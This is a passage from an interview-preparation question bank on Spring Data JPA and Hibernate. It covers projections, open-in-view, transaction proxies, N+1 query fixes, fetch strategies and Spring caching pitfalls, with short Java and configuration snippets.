Select only needed columns directly into a record or interface projection, which skips the persistence context, dirty checking and hydration of unused columns/associations.

```
public record OrderSummary(Long id, String status, BigDecimal total) {}

@Query("select new com.acme.OrderSummary(o.id, o.status, o.total) from Order o where
o.customer.id = :cid")
List<OrderSummary> findSummaries(Long cid);
```

- Spring Data also supports interface-based projections (closed projections select only declared properties; open ones with SpEL load the entity) and dynamic `Class<T>` parameters.
- Projections are not managed, so changes are not persisted.

FOLLOW-UP TRAPS

- **Does an interface projection with a nested association always do a join?** It fetches the nested entity or properties depending on closed vs open; check the SQL.
- **Class-based DTO needs a matching constructor?** Yes, argument order and types must match.

#projections #dto #performance

Q20 A LazyInitializationException appears only in production-like profile, not in dev. What differs? INTERMEDIATE

Spring Boot enables `spring.jpa.open-in-view=true` by default, keeping the EntityManager open through view rendering, so lazy loads in controllers or serializers work. If it is disabled in one profile (recommended for production), lazy access outside the transaction throws.

- OSIV holds a DB connection for the whole request including slow serialization or remote calls, which exhausts the Hikari pool under load.
- Better design: fetch what the use case needs inside the service (JOIN FETCH, entity graph, DTO), and return DTOs.
- Boot logs a warning at startup when OSIV is on.

> **FOLLOW-UP TRAPS**
> - **Does OSIV make writes outside transactions persist?** No, it only keeps the session open; flush needs a transaction.
> - **Does `@Transactional` on the controller fix it?** It works but couples the web layer to transactions and keeps the connection longer.

#open-in-view #osiv #lazy

Q21 **`@Transactional` on a private method or a self-invoked method does nothing. What's the effect on JPA behaviour?** BASIC

Spring applies transactions through proxies, so only calls entering through the bean proxy go through the interceptor. Self-invocation and private methods bypass it, so there is no transaction and, for JPA, no flush and no dirty checking.

- With OSIV on you may get a session but changes are never flushed; with it off, a lazy load throws.
- Fix: move the method into another bean, inject self carefully, or use `TransactionTemplate`.

> **FOLLOW-UP TRAPS**
> - **Does `@Transactional` work on a `protected` method?** In Spring 6 with class-based proxies, yes for public and protected/package-private methods (6.0+), but keep them public for portability.
> - **Which exceptions roll back by default?** `RuntimeException` and `Error`; checked ones commit unless `rollbackFor`.

#transactional #proxy #self-invocation

Q22 **You use `@Modifying @Query("update Product p set p.price = p.price * 1.1")`, then read a product in the same transaction and see the old price. Why?** INTERMEDIATE

Bulk JPQL updates go straight to the database, bypassing the persistence context; already loaded entities keep stale state and the `@Version` is not bumped.

- Use `@Modifying(clearAutomatically = true, flushAutomatically = true)` so pending changes are flushed first and the context cleared afterward.
- Or `update versioned` HQL if optimistic locking must be respected.
- Cascade, lifecycle callbacks and entity listeners do not run for bulk operations.

> **FOLLOW-UP TRAPS**
> - **Is `deleteAll()` the same as a bulk delete?** No, it loads entities and deletes one by one (cascades apply); `deleteAllInBatch()` issues one statement.
> - **Does `clearAutomatically` lose unflushed changes?** Not if `flushAutomatically` is also true.

#bulk-update #persistence-context #modifying

Q23 **How do you map an `enum` field so that reordering constants does not corrupt data?** BASIC

Use `@Enumerated(EnumType.STRING)`. The default `ORDINAL` stores the position, so inserting or reordering constants silently changes the meaning of existing rows.

- STRING costs more storage and renaming a constant needs a migration. A custom `AttributeConverter` storing a stable code decouples the DB from Java names.
- Hibernate 6.2+ can map enums to native DB enum types / check constraints via `@JdbcTypeCode`.

> **FOLLOW-UP TRAPS**
> - **Does `ddl-auto` create a check constraint for STRING?** Hibernate 6.2+ does generate one; older versions do not.
> - **Can I query by enum in JPQL?** Yes, with the fully qualified constant or a bound parameter.

#enum #mapping

Q24 Why is `ddl-auto=update` dangerous in production, and what do you use instead? BASIC

`update` only adds missing tables/columns; it never drops or alters safely, cannot rename, offers no review or rollback, and runs on every instance at startup. Use Flyway or Liquibase for versioned migrations and `ddl-auto=validate` (or `none`) in production.

- Embedded test databases default to `create-drop`.
- Spring Boot runs Flyway before the `EntityManagerFactory` is initialized, so validate sees the migrated schema.

FOLLOW-UP TRAPS

- **Does `validate` check indexes and constraints?** No, only tables, columns and types.
- **Can two instances starting at once corrupt Flyway state?** Flyway takes a lock on the history table, so one runs and the other waits.

#ddl-auto #migrations #flyway

Q25 You use `@Embeddable` for an address and need two addresses (billing, shipping) in one entity. How? BASIC

Embed the type twice and override column names with `@AttributeOverrides`, otherwise both embedded fields map to the same columns and Hibernate fails with a duplicate-column mapping error.

```
@Embedded
@AttributeOverrides({
  @AttributeOverride(name = "street", column = @Column(name = "ship_street")),
  @AttributeOverride(name = "city",   column = @Column(name = "ship_city"))
})
private Address shipping;
```

- Embeddables have no identity and are managed with the owner; an all-null embedded value is loaded as `null` rather than an empty object.
- Java records can be embeddables from Hibernate 6.2.

FOLLOW-UP TRAPS

- **Can an embeddable contain a collection?** Yes, via `@ElementCollection`, with its own table; every change may delete and reinsert rows for bags.
- **Does an embedded null differ from all fields null?** Hibernate cannot distinguish; it returns null.

#embeddable #attribute-override

Q26 `@Transactional` service saves a parent with 1,000 children using `CascadeType.PERSIST`, and the commit takes forever. What do you check? ADVANCED

Flush cost grows with the number of managed entities because dirty checking compares every one at each flush (including auto flushes before queries). Check for queries inside loops triggering auto-flush, large persistence context, and the ID generator.

- Reduce the context size (chunk and `clear()`), move queries before mutations, set `FlushModeType.COMMIT` for read-heavy sections, or use `@Transactional(readOnly = true)` where possible.
- Use bytecode enhancement (dirty tracking) to avoid snapshot comparison for large graphs.
- Check for IDENTITY (one round trip per row) and missing batching.

FOLLOW-UP TRAPS

- **Does `FlushMode.COMMIT` risk stale query results?** Yes, queries will not see pending changes in the same transaction.
- **Is the persistence context cleared at flush?** No, only at commit/close or via `clear()`.

#flush #dirty-checking #performance

Q27 **A `@Transactional(propagation = REQUIRES_NEW)` method loads the same entity another outer transaction just modified. What does it see?** ADVANCED

It runs in a new connection and a new persistence context, so it sees only committed data, not the outer transaction's uncommitted changes. If it updates the same row the outer transaction has locked, the call blocks and can deadlock the thread with itself.

- With a bounded pool, nested REQUIRES_NEW holds two connections per request; at pool size N concurrent requests can deadlock waiting for a second connection.
- The entity from the outer context is a different instance than the inner copy; merging back leads to stale state.

> **FOLLOW-UP TRAPS**
> - **Does the inner commit survive if the outer rolls back?** Yes, it is independent.
> - **Does `NESTED` use a new connection?** No, it uses savepoints on the same connection (JDBC only, not JTA).

#transactions #isolation #requires-new

Q28 **A `findBy...` method returns `Optional<Entity>` but throws `IncorrectResultSizeDataAccessException`. Why?** BASIC

The derived query matched more than one row, so a single-result return type fails. Fix the data or the query: add a unique constraint, use `findFirstBy...OrderBy...`, `Top1`, or return a `List` / `Page`.

- A unique constraint at the DB level is the real guarantee; an application check is racy.
- `existsBy` is cheaper than `findBy` plus null check.

> **FOLLOW-UP TRAPS**
> - **Does `Optional` return null for no results?** It returns `Optional.empty()`; a non-Optional return gives null.
> - **Does `findFirstBy` add `LIMIT 1`?** Yes.

#spring-data #query-derivation

SPRING & HIBERNATE · CHAPTER 6

Lazy vs Eager Loading & the N+1 Problem

Detecting and fixing N+1 queries, JOIN FETCH, entity graphs, batch fetching, fetch-join pagination, LazyInitializationException, statistics, second-level cache and query tuning scenarios.

26 questions **5** basic **12** intermediate **9** advanced

Scenarios

Q1 An endpoint returning 100 orders fires 101 SQL statements. What is happening and how do you confirm it? BASIC

One query loads the orders, then each order's lazy association (customer, items) is initialized with its own SELECT when accessed: 1 + N queries. Confirm by logging SQL and counting statements per request.

- `spring.jpa.show-sql=true` is crude (stdout, no bind values); prefer `logging.level.org.hibernate.SQL=DEBUG` and `logging.level.org.hibernate.orm.jdbc.bind=TRACE` (Hibernate 6).
- Enable `hibernate.generate_statistics` and assert `getPrepareStatementCount()` in tests, or use datasource-proxy.

FOLLOW-UP TRAPS

- **Does making the association EAGER fix it?** No, a JPQL query still loads parents first and then fires one select per parent for the eager association.
- **Does `findById` have N+1?** No, `find` can join eager associations in a single query.

#n-plus-one #detection

Q2 How does `JOIN FETCH` fix N+1 and what are its limits? BASIC

`JOIN FETCH` loads the association in the same SQL join and initializes it on the returned entities, so the loop does no further queries.

```
@Query("select o from Order o join fetch o.customer where o.status = :s")
List<Order> findWithCustomer(OrderStatus s);
```

- Plain `join fetch` is an inner join; use `left join fetch` to keep parents with no children.
- Fetching a collection multiplies rows (Cartesian product); Hibernate 6 de-duplicates parent entities automatically, so `distinct` is no longer needed for that purpose (it only affects SQL if you want it).
- You cannot alias-filter a fetched collection reliably; filtering it makes the in-memory collection incomplete.

FOLLOW-UP TRAPS

- **Is `distinct` required in Hibernate 6?** No, for entity results duplicates are removed by default.
- **Can you fetch two `List` collections in one query?** No, `MultipleBagFetchException`; use `Set`, `@OrderColumn`, or separate queries.

#join-fetch #jpql

Q3 When do you use `@EntityGraph` instead of `JOIN FETCH`? INTERMEDIATE

Use `@EntityGraph` on Spring Data repository methods (including derived queries and `findAll`) to declare what to fetch without rewriting the JPQL; use `JOIN FETCH` when you need explicit join control or conditions.

```
@EntityGraph(attributePaths = {"customer", "items"})
List<Order> findByStatus(OrderStatus status);
```

- `FETCH` graphs make unlisted attributes lazy; `LOAD` graphs keep the mapping defaults for them.
- Works with pagination for to-one paths; collection paths still fall into the in-memory pagination warning.

FOLLOW-UP TRAPS

- **Does an entity graph add `left` or `inner` joins?** Left outer joins.
- **Can a named graph be reused across methods?** Yes, define `@NamedEntityGraph` and reference it by name.

#entitygraph #spring-data

Q4 Paging a query with `join fetch` on a collection logs HHH000104. What does it mean and what is the fix? ADVANCED

"firstResult/maxResults specified with collection fetch; applying in memory" means Hibernate cannot use `LIMIT` because the join multiplies rows, so it loads the entire result set into memory and paginates there. It can OOM on big tables.

Fix with two queries:

```
List<Long> ids = em.createQuery("select o.id from Order o order by o.id", Long.class)
    .setFirstResult(0).setMaxResults(20).getResultList();
List<Order> orders = em.createQuery(
    "select distinct o from Order o left join fetch o.items where o.id in :ids order by o.id",
Order.class)
    .setParameter("ids", ids).getResultList();
```

- Alternatives: batch fetching (`@BatchSize`) with a paged parent query; keyset pagination; DTO projection with a window function.

FOLLOW-UP TRAPS

- **Does it also happen for to-one fetch joins?** No, row count is unchanged so `LIMIT` is applied in SQL.
- **Does `Page<T>` count query break with fetch joins?** Yes, supply a separate `countQuery`.

#pagination #hhh000104 #fetch-join

Q5 How does `@BatchSize` (or `default_batch_fetch_size`) reduce N+1 without joins? INTERMEDIATE

When a lazy association of one entity is touched, Hibernate initializes the same association for up to N other uninitialized entities in the persistence context using `where id in (?, ?, ...)`. 101 queries become 1 + ceil(100/N).

- Set globally: `spring.jpa.properties.hibernate.default_batch_fetch_size=32`.
- It works for collections and lazy to-one proxies, and composes with pagination because the parent query keeps its `LIMIT`.
- Hibernate 6 may pad IN lists to powers of two for statement-cache reuse (`in_clause_parameter_padding`).

FOLLOW-UP TRAPS

- **Is it better than JOIN FETCH?** Not always: no giant joined rows or Cartesian products, but still multiple round trips.
- **Does it help when only one parent is loaded?** No benefit; one extra query as usual.

#batch-fetching #batchsize

Q6 **`LazyInitializationException: could not initialize proxy – no Session`. List the root causes and fixes.** BASIC

A lazy association or proxy is accessed after the persistence context was closed (transaction ended, OSIV off, entity serialized in controller, async thread, cache hit returning detached entity).

- Fix by loading what you need in the transaction: `JOIN FETCH`, entity graph, DTO projection, or map to DTO inside the `@Transactional` service.
- Do not "fix" it with `FetchType.EAGER` everywhere or `hibernate.enable_lazy_load_no_trans=true`, which opens a new session per lazy load (hidden N+1, connection churn).
- Jackson serializing entities is a classic trigger; return DTOs.

> **FOLLOW-UP TRAPS**
> - **Does `Hibernate.initialize()` help?** Yes, but only inside an open session.
> - **Does it occur if the proxy was already initialized earlier?** No.

#lazyinitializationexception #session

Q7 **You return JPA entities directly from a controller, with a bidirectional relation. What fails?** INTERMEDIATE

Jackson walks the graph: bidirectional links cause infinite recursion (`StackOverflowError` / `JsonMappingException: Infinite recursion`), and touching lazy collections triggers N+1 or `LazyInitializationException`. It also leaks internal fields.

- Use DTOs/records, `@JsonIgnore` / `@JsonManagedReference` are patches that couple the model to the API.
- A Hibernate module for Jackson can render uninitialized proxies as null, hiding data bugs.

> **FOLLOW-UP TRAPS**
> - **Does `@JsonIgnore` on the back-reference fix N+1?** No, the forward collection still loads lazily during serialization.
> - **Why is `toString()` also dangerous?** Lombok `@ToString` over lazy associations triggers loads or recursion.

#serialization #jackson #entities

Q8 **Which Hibernate settings do you turn on in a test or staging profile to catch N+1 early?** INTERMEDIATE

Enable statistics and SQL logging, and fail tests on excessive statements.

```
spring:
  jpa:
    properties:
      hibernate:
        generate_statistics: true
        session.events.log.LOG_QUERIES_SLOWER_THAN_MS: 50
logging:
  level:
    org.hibernate.SQL: debug
    org.hibernate.orm.jdbc.bind: trace
    org.hibernate.stat: debug
```

- Statistics report query counts, entity loads, collection fetches, cache hits and the slowest query.
- Expose `Statistics` via Micrometer (`hibernate.query.executions` etc. through `HibernateMetrics`) for production sampling.

> **FOLLOW-UP TRAPS**
> - **Is `generate_statistics` free?** No, small overhead; sample or use only in non-prod.
> - **Does `show_sql` show bind values?** No.

#statistics #logging

Q9 Mapping to-one with `FetchType.LAZY` still triggers a select on the non-owning side of `@OneToOne`. Why? ADVANCED

On the inverse side (`mappedBy`) Hibernate cannot know if the associated row exists without querying, so it must either return null or an object; it queries immediately, making the lazy hint ineffective.

- Fixes: make the child share the parent's PK with `@MapsId` and query from the child side; use bytecode enhancement with `@LazyToOne(NO_PROXY)`; or model it as `@ManyToOne` with a unique constraint on the owning side.
- Optional `false` lets Hibernate use a proxy because existence is guaranteed (owning side only).

FOLLOW-UP TRAPS

- **Does `optional=false` on the inverse side help?** Mostly no; the problem is lacking the FK locally.
- **Is the N+1 here visible on `findById`?** It appears as a join or extra select regardless of laziness.

#onetoone #lazy #proxy

Q10 A `@ManyToOne(fetch = LAZY)` returns a proxy and `instanceof` or a cast to a subclass fails. Explain. ADVANCED

A lazy proxy is a runtime subclass of the declared type, not of the actual subtype stored. With inheritance, `Animal` proxy is not an `instanceof Dog` even if the row is a Dog.

- Use `Hibernate.unproxy(obj)` to get the real instance, or visitor pattern or polymorphic methods on the parent.
- Final classes/methods cannot be proxied; Hibernate 6 bytecode-enhancement lazy loading avoids proxies for to-one in some cases.

FOLLOW-UP TRAPS

- **Does `getClass()` on a proxy equal the entity class?** No, it returns the generated proxy class; use `Hibernate.getClass(obj)`.
- **Is the proxy the same instance as one loaded later?** Yes, the context returns the existing proxy for that ID in the same session.

#proxy #inheritance #lazy

Q11 Should you enable the second-level cache to fix N+1? What are the trade-offs? INTERMEDIATE

No; fix the query shape first. The L2 cache (shared across sessions, per SessionFactory) stores entity state by ID, helps `find` by ID and association loads, but not arbitrary JPQL results unless the query cache is on.

- Enable per entity: `@Cache(usage = READ_WRITE)` (Hibernate) or `@Cacheable`, plus `hibernate.cache.use_second_level_cache=true` and a region provider (JCache/Ehcache, Infinispan; Caffeine through JCache).
- Only worthwhile for read-mostly reference data; entity updates must go through Hibernate to invalidate. Native updates or other services bypass it and serve stale data.
- In a cluster, local caches need replication/invalidation, or use a distributed provider.

FOLLOW-UP TRAPS

- **Does bulk HQL update invalidate L2?** Yes, for the affected entity regions, but native SQL needs explicit eviction.
- **Is the query cache safe by default?** It is invalidated by any table write, so it is useless on frequently written tables.

#second-level-cache #ehcache #jcache

Q12 A list screen needs 3 columns from a 40-column table with a heavy `@Lob`. How do you avoid loading the lob? INTERMEDIATE

Use a DTO projection selecting only needed columns, or move the lob to a separate one-to-one entity. Basic attribute laziness (`@Basic(fetch = LAZY)`) needs bytecode enhancement (`hibernate-maven-plugin` with `enableLazyInitialization`), otherwise it is ignored.

- `@Lob` Strings/byte[] materialize fully in memory; for big files stream from object storage or use `Blob` with streaming.
- Splitting the table is the most portable and visible fix.

FOLLOW-UP TRAPS

- **Does `@Basic(fetch = LAZY)` work out of the box?** No.
- **Is `@Lob` ok on PostgreSQL `bytea`?** Hibernate maps `@Lob byte[]` to `oid` large objects on PostgreSQL unless you use `@JdbcTypeCode(VARBINARY)` or omit `@Lob`.

#lob #lazy-attribute #projection

Q13 What does `spring.jpa.open-in-view=false` change for N+1 hunting? INTERMEDIATE

With OSIV on, lazy loads in controllers and serializers succeed and quietly produce N+1 outside any transaction, each statement using autocommit. Turning it off makes those accesses throw, forcing explicit fetching inside services.

- It also releases the DB connection right after the service transaction ends, which relieves pool pressure for slow responses.
- Migration: enable it off in a branch, fix every LazyInitializationException with a query-level fetch plan, add DTO mapping in services.

FOLLOW-UP TRAPS

- **Does OSIV hold the connection for the whole request?** Not always from the start; Hibernate acquires lazily, but once acquired it stays until the session closes.
- **Is OSIV applied to `@Async` or scheduled threads?** No, only the web request via interceptor.

#osiv #lazy #n-plus-one

Q14 A `@OneToMany` collection of 50,000 rows is mapped in the parent, and a service calls `parent.getChildren().size()`. What happens and what is better? INTERMEDIATE

`size()` initializes the whole collection (50,000 rows hydrated) just to count. Better: run `select count(c) from Child c where c.parent.id = :id`, or drop the mapping and query children via the repository with paging.

- `@LazyCollection(EXTRA)` is deprecated and still has side effects.
- Large collections should be queried, not mapped; mapped collections suit small bounded aggregates.

FOLLOW-UP TRAPS

- **Does `isEmpty()` load everything?** Yes, unless extra lazy.
- **Does adding to a lazy `Set` load it?** Yes, to enforce uniqueness; a `List` bag with `mappedBy` can add without loading.

#collections #extra-lazy #count

Q15 You fetch `Order` with `join fetch items` and `join fetch payments` (both `List`) and get `MultipleBagFetchException`. Options? ADVANCED

Hibernate refuses fetching multiple bags because the Cartesian product makes it impossible to rebuild them correctly. Options: change to `Set`; fetch one collection per query and let the persistence context merge them; or use batch fetching.

```
List<Order> orders = repo.findWithItems(ids);     // join fetch items
orders = repo.findWithPayments(ids);               // join fetch payments, same context
```

- Even with `Set` there is a Cartesian product (items x payments rows per order), so separate queries are better for large collections.
- Switching to `List` + `@OrderColumn` also removes the bag, but adds an index column and update cost.

FOLLOW-UP TRAPS

- **Does the second query overwrite the first?** No, entities are the same managed instances; the collection is simply initialized.
- **Is `Set` always a safe fix?** Needs correct `equals` / `hashCode`; the row multiplication remains.

#multiplebagfetchexception #cartesian-product

Q16 **How do you reason about a slow query when the SQL looks fine in logs?** ADVANCED

Copy the SQL with real bind values and run `EXPLAIN (ANALYZE, BUFFERS)` (PostgreSQL) or `EXPLAIN ANALYZE` (MySQL 8). Look for sequential scans on large tables, mis-estimated rows, sort spills, and unselective indexes.

- Typical JPA causes: missing index on FK columns (InnoDB creates one automatically, PostgreSQL does not), `lower(col)` or implicit casts defeating an index, `OFFSET` deep paging, `IN` lists with thousands of values, `OR` conditions.
- Prepared-statement plan caching can choose a generic plan for skewed data (PostgreSQL `plan_cache_mode`).

FOLLOW-UP TRAPS

- **Does PostgreSQL index FK columns automatically?** No, only the referenced PK/unique side.
- **Why can the same query be fast in psql and slow from the app?** Bind-parameter generic plan vs literal custom plan.

#query-plan #explain #indexes

Q17 **A report reads 200k rows with no modification. How do read-only hints and `readOnly = true` help?** INTERMEDIATE

`@Transactional(readOnly = true)` sets Hibernate session to read-only/flush MANUAL: no snapshots for dirty checking, no flush, lower memory and CPU. It may also route to a read replica via a routing datasource and set the JDBC connection read-only.

- Per query: `@QueryHints(@QueryHint(name = "org.hibernate.readOnly", value = "true"))`.
- It does not prevent writes at the DB level in all drivers; writes may just not be flushed (Hibernate) or fail (PostgreSQL honors read-only transactions).
- For truly huge data, project to DTOs or stream with `fetchSize`.

FOLLOW-UP TRAPS

- **Does readOnly make the transaction cheaper at the DB?** Sometimes (PostgreSQL, MySQL skip some locks/ids), driver dependent.
- **Is `readOnly=true` a security control?** No.

#read-only #performance

Q18 **You must stream 5 million rows to a CSV. How do you do it without loading everything?** ADVANCED

Use a `Stream<T>` repository method (or `ScrollableResults` / `StatelessSession`) inside a transaction, with a JDBC fetch size, and clear the context as you go.

```
@QueryHints(@QueryHint(name = "org.hibernate.fetchSize", value = "1000"))
@Query("select e from Event e")
Stream<Event> streamAll();
```

- PostgreSQL only streams with a cursor when autocommit is off (inside a transaction) and fetchSize > 0; MySQL needs `useCursorFetch=true` or `Integer.MIN_VALUE`.
- Close the stream (try-with-resources) to release the connection.
- Keyset pagination in chunks is more robust than a long-lived cursor.

FOLLOW-UP TRAPS

- **Does the persistence context still grow?** Yes for managed entities; detach or use projections.
- **Can I use the stream after the method returns?** No, the transaction is closed.

#streaming #fetch-size #scrollable

Q19 Is `FetchType.EAGER` on a collection ever acceptable? BASIC

Rarely. EAGER is a mapping-level decision applied to every query for that entity, so each use case pays for it, and JPQL ignores it by issuing follow-up selects. Prefer LAZY mapping and per-query fetch plans.

- Acceptable for tiny, always-needed value collections (e.g. a few roles on a user), ideally via `@ElementCollection` with `@Fetch(SUBSELECT)` or an entity graph.
- Two eager bags on one entity fail at startup with `MultipleBagFetchException`.

FOLLOW-UP TRAPS

- **Can you override EAGER per query?** Not to make it lazy; you can only add fetch hints, so choose LAZY upfront.
- **Does Spring Data `findAll()` with an eager association cause N+1?** Yes.

#eager #design

Q20 What does `@Fetch(FetchMode.SUBSELECT)` do and when is it useful? ADVANCED

On first access of a lazy collection, Hibernate loads that collection for all parents returned by the original query using one query with a subselect of the original query's predicate: `where parent_id in (select id from parent where ...)`.

- Good for a "load parents then all children" pattern without Cartesian joins.
- Can be slow if the original query is expensive (it is re-executed as a subselect) and does not combine well with paged queries.

FOLLOW-UP TRAPS

- **Does `FetchMode.JOIN` override JPQL?** No, it applies to `find` and criteria by ID, not HQL.
- **Does SUBSELECT work after `clear()`?** The original parents must still be in the context.

#subselect #hibernate-fetch

Q21 After adding `@Cacheable` L2 caching, users see stale data right after another microservice updates the table. Why? ADVANCED

Hibernate invalidates L2 entries only for changes it performs. Updates from another service, native SQL, DB scripts or `JdbcTemplate` leave the cache unaware until TTL/eviction.

- Options: short TTL, call `SessionFactory.getCache().evict(...)` from an event, use messaging-based invalidation, or avoid L2 for shared tables.
- `READ_WRITE` uses soft locks to keep reads consistent against in-process writes; `NONSTRICT_READ_WRITE` tolerates brief staleness.

FOLLOW-UP TRAPS

- **Does L2 help with multi-instance deployments by default?** Each instance has its own local cache unless a distributed provider is used.
- **Does `@Transactional(readOnly)` bypass L2?** No.

#second-level-cache #consistency

Q22 **`findAll(Pageable)` on an entity with a `@ManyToOne(fetch = EAGER)` produces an N+1 on each page. Fix?** INTERMEDIATE

Page queries are JPQL, so EAGER to-one targets are loaded by secondary selects (up to one per distinct target). Set the association LAZY and add `@EntityGraph(attributePaths = "customer")` to the repository method; to-one fetch joins paginate in SQL fine.

- Provide a `countQuery` that does not join-fetch, otherwise the count query fails or is slower.
- Sort property names must match entity paths, otherwise `PropertyReferenceException`.

FOLLOW-UP TRAPS

- **Does Spring Data run the count query always?** Not when the first page is not full or content is smaller than the page size; use `Slice` to skip it entirely.
- **Is deep `OFFSET` fast?** No; use keyset pagination.

#pagination #eager #entitygraph

Q23 **Your service calls a repository method in a loop (`for id : ids -> findById`). How would you restructure it?** BASIC

Replace the loop with one `findAllById(ids)` / `where id in :ids` query, then index the results in a `Map`. Within a transaction the first-level cache avoids repeats for the same ID, but different IDs still cost one query each.

- Chunk very large ID lists (Oracle limit 1000 expressions in IN; PostgreSQL parameter limit 32767 with the JDBC driver 65535).
- For writes, use batch operations rather than per-row `save`.

FOLLOW-UP TRAPS

- **Is the returned order of `findAllById` guaranteed?** No, sort or map manually.
- **Does a large IN list hurt plan caching?** Yes; Hibernate's parameter padding reduces distinct shapes.

#n-plus-one #in-clause

Q24 **How would you prove in a unit/integration test that a refactor removed an N+1?** INTERMEDIATE

Run the use case against a Testcontainers DB with datasource-proxy or Hibernate `Statistics`, and assert the exact statement count.

```
Statistics stats = sessionFactory.getStatistics();
stats.clear();
service.listOrders();
assertThat(stats.getPrepareStatementCount()).isEqualTo(2);
```

- Seed enough rows (e.g. 20 parents) so an N+1 yields a clearly different number.
- Run inside the same transaction semantics as production (OSIV off); `@DataJpaTest` rolls back and shares the persistence context, which can hide queries because entities are already cached; call `em.clear()` before the action.

FOLLOW-UP TRAPS

- **Why can a `@DataJpaTest` miss an N+1?** Entities persisted in the test remain in the first-level cache.
- **Is H2 enough?** Behaviour like pagination and plans may differ; use the real database via Testcontainers.

#testing #statistics

Q25 **A dashboard query joins five tables and returns thousands of duplicate-looking rows. How do you design the read model?** ADVANCED

Stop mapping the result to entities. Write a purpose-built query (JPQL constructor expression, native SQL, or `JdbcClient`) returning flat DTOs, aggregate in SQL (`group by`), and index for it. For heavy reports consider a materialized view or a separate read table.

- Entities exist for state changes; reads that cross aggregates are better as projections.
- Cache the aggregate result with TTL if tolerant of staleness.

> **FOLLOW-UP TRAPS**
> - **Can native queries map to DTOs?** Yes via `@SqlResultSetMapping`, interface projections on `@Query(nativeQuery = true)`, or `JdbcClient`.
> - **Does a materialized view update automatically?** No, refresh it explicitly (PostgreSQL `REFRESH MATERIALIZED VIEW [CONCURRENTLY]`).

#read-model #projections #cqrs

Q26 **What is the cost of `Hibernate.initialize()` / `size()` calls sprinkled in services to avoid LazyInitializationException?** INTERMEDIATE

Each call fires a separate select per entity, converting the exception into hidden N+1 and coupling the service to the view's needs. Define the fetch plan in the query (join fetch/entity graph/DTO) per use case.

- Spring Data supports multiple repository methods or named graphs for the same entity, each tailored to a use case.
- Code review rule: any loop that touches an association needs an associated fetch strategy.

> **FOLLOW-UP TRAPS**
> - **Is `initialize` ever right?** For one-off single entity detail views it can be acceptable.
> - **Does `size()` initialize a bag?** Yes, fully, unless extra lazy.

#anti-pattern #lazy

SPRING & HIBERNATE · CHAPTER 7

Caching & Performance Tuning

Spring Cache pitfalls, eviction and consistency, Caffeine vs Redis, stampede protection, HikariCP and thread pool tuning, HTTP caching, async, profiling and load testing scenarios.

25 questions **6** basic **11** intermediate **8** advanced

Scenarios

Q1 **You add `@Cacheable` to a method but it hits the database every call. List the likely causes.** BASIC

Most often: `@EnableCaching` is missing, the call is a self-invocation (bypasses the proxy), the method is private/final or the class is not a Spring bean, or the key changes on each call.

```
@Service
class PriceService {
    @Cacheable("prices")
    public Price get(String sku) { ... }
    public Price wrapper(String sku) { return get(sku); } // cache bypassed
}
```

- Fix self-invocation by moving the cached method to another bean, or by AspectJ mode (`mode = ASPECTJ`).
- Verify with a cache hit/miss log or `CacheManager.getCache("prices").get(key)`.

FOLLOW-UP TRAPS

- **Does `@Cacheable` work on a `@PostConstruct` method?** No, the proxy is not in place yet.
- **Does it work on interface or class methods?** Both with Spring 6 CGLIB proxies; keep it on the concrete class for consistency.

#cacheable #proxy #self-invocation

Q2 **What is the default cache key and how can it go wrong with multiple parameters or objects?** INTERMEDIATE

`SimpleKeyGenerator`: no args -> `SimpleKey.EMPTY`, one arg -> that arg, several -> `SimpleKey` of all args. Objects without a proper `equals/hashCode` never match; mutable objects mutated after caching confuse lookups.

- Declare keys explicitly with SpEL: `key = "#userId + ':' + #locale"`, `key = "#root.methodName + #p0"`.
- Two methods sharing a cache name with the same argument collide (both keyed by `1L`). Use separate cache names or include the method name in the key.
- Redis keys are serialized; make sure the key class serializes deterministically (use Strings).

FOLLOW-UP TRAPS

- **Is the parameter name available in SpEL?** Only if compiled with `-parameters` (Spring Boot's Maven/Gradle plugins enable it) or via `#a0` / `#p0`.
- **Can `key` be a `List`?** Yes, but build it consistently; prefer a record or String.

#cache-key #keygenerator

Q3 A cached method returns `null` for a missing user. What is cached and what is the fix for "negative caching"?

INTERMEDIATE

By default Spring caches `null` (Caffeine and the default Redis config store a null placeholder). A "not found" result is then served from cache, so a later insert is invisible until eviction or TTL. If Redis is configured with `disableCachingNullValues()`, returning null from a `@Cacheable` method without an `unless` guard throws `IllegalArgumentException`.

- Don't cache nulls: `@Cacheable(value = "users", unless = "#result == null")`.
- Deliberate negative caching protects the DB against repeated misses (cache-penetration attack), but use a short TTL.
- Return `Optional` and Spring unwraps it, caching the contained value.

FOLLOW-UP TRAPS

- **`condition` vs `unless`?** `condition` is evaluated before invocation (can skip caching and lookup), `unless` after, with `#result` available.
- **Does `unless` prevent lookup?** No, only storing.

#null-caching #unless #negative-cache

Q4 After updating a user, `GET /users/{id}` still returns old data. How do you evict correctly?

BASIC

Evict or update the entry on every write path using the same cache and key.

```
@CacheEvict(value = "users", key = "#user.id")
public User update(User user) { ... }

@CachePut(value = "users", key = "#result.id")
public User create(User u) { ... }
```

- `@CachePut` always executes the method and stores the result; do not combine with `@Cacheable` on the same method.
- Eviction happens after the method returns (or `beforeInvocation = true`) but not necessarily after the transaction commits; a concurrent reader can repopulate stale data between evict and commit.
- Writes bypassing the service (other apps, SQL scripts) are not seen.

FOLLOW-UP TRAPS

- **Evict inside a rolled back transaction?** The cache is evicted but data not changed; harmless but wasteful. The reverse (`CachePut` then rollback) leaves wrong data.
- **How to make it transaction-aware?** `TransactionAwareCacheManagerProxy` or evict in `@TransactionalEventListener(AFTER_COMMIT)`.

#cacheevict #cacheput #consistency

Q5 Caffeine or Redis: how do you decide?

INTERMEDIATE

Caffeine is an in-process cache: nanosecond access, no serialization, but per-instance (copies differ across pods, invalidation does not propagate) and bounded by heap. Redis is shared and external: consistent across instances, survives restarts, bigger capacity, but adds a network hop (~0.3-1 ms) and serialization.

- Common pattern: two-level cache; short-TTL Caffeine (L1) in front of Redis (L2), with pub/sub invalidation.
- Use Caffeine for immutable reference data and hot lookups; Redis for session-like shared state, rate limiting, cross-instance consistency.
- Always set `maximumSize` / `expireAfterWrite` on Caffeine; unbounded caches are memory leaks.

FOLLOW-UP TRAPS

- **Does Caffeine invalidation across pods work with eviction annotations?** No, only the local instance is evicted.
- **Is Redis failure fatal?** Configure a `CacheErrorHandler` so cache outages degrade to DB calls instead of failing requests.

#caffeine #redis #trade-offs

Q6 How do you configure per-cache TTLs in Spring Boot with Caffeine and with Redis? INTERMEDIATE

Boot's `spring.cache.caffeine.spec` applies one spec to all caches; for different TTLs register `CaffeineCache` instances by name. Redis TTL is set per cache in `RedisCacheManager`.

```
@Bean
RedisCacheManager cacheManager(RedisConnectionFactory cf) {
